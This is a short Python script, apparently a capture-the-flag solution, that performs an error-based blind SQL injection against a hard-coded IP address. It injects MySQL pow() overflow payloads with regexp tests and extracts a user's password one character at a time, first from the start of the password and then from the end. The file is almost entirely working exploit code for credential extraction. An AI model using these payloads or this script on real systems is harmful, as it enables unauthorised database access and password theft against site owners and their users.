import requests as req
import string

url = 'http://35.232.184.83/?.='
w_list = string.ascii_lowercase + string .digits
print " --------------------------------------------------------------------------------------- "
print "|          ##### SQLI by using pow() mysql func. and forcing server error #####         |"
print " --------------------------------------------------------------------------------------- "
print "[*] Using charset: " + w_list
pwd = ''
for i in range(0,10):
    for ch in w_list:
        p = ''
        p += "' OR pow(9999999,pow(10000, pw regexp '^' '" + pwd + ch + "' AND user regexp 'min$')) -- "
        r = req.get(url+p)
        if r.text.find("feeding me???") >= 0:
            print "[!] firewall blocked us!!"
            continue
        if r.text.find("WELCOME") < 0:
            pwd += ch
            print "[+] match found: " + pwd
            break
print "[+] Retrived password: " + pwd
print "\n------------------- same techinique but starting from end of the pw -------------------\n"
pwd = ''
for i in range(0,10):
    for ch in w_list:
        p = ''
        p += "' OR pow(9999999,pow(10000, pw regexp '" + ch + pwd + "$' AND user regexp 'min$')) -- "
        r = req.get(url+p)
        if r.text.find("feeding me???") >= 0:
            print "[!] firewall blocked us!!"
            continue
        if r.text.find("WELCOME") < 0:
            pwd = ch + pwd
            print "[+] match found: " + pwd
            break
print "[+] Retrived password: " + pwd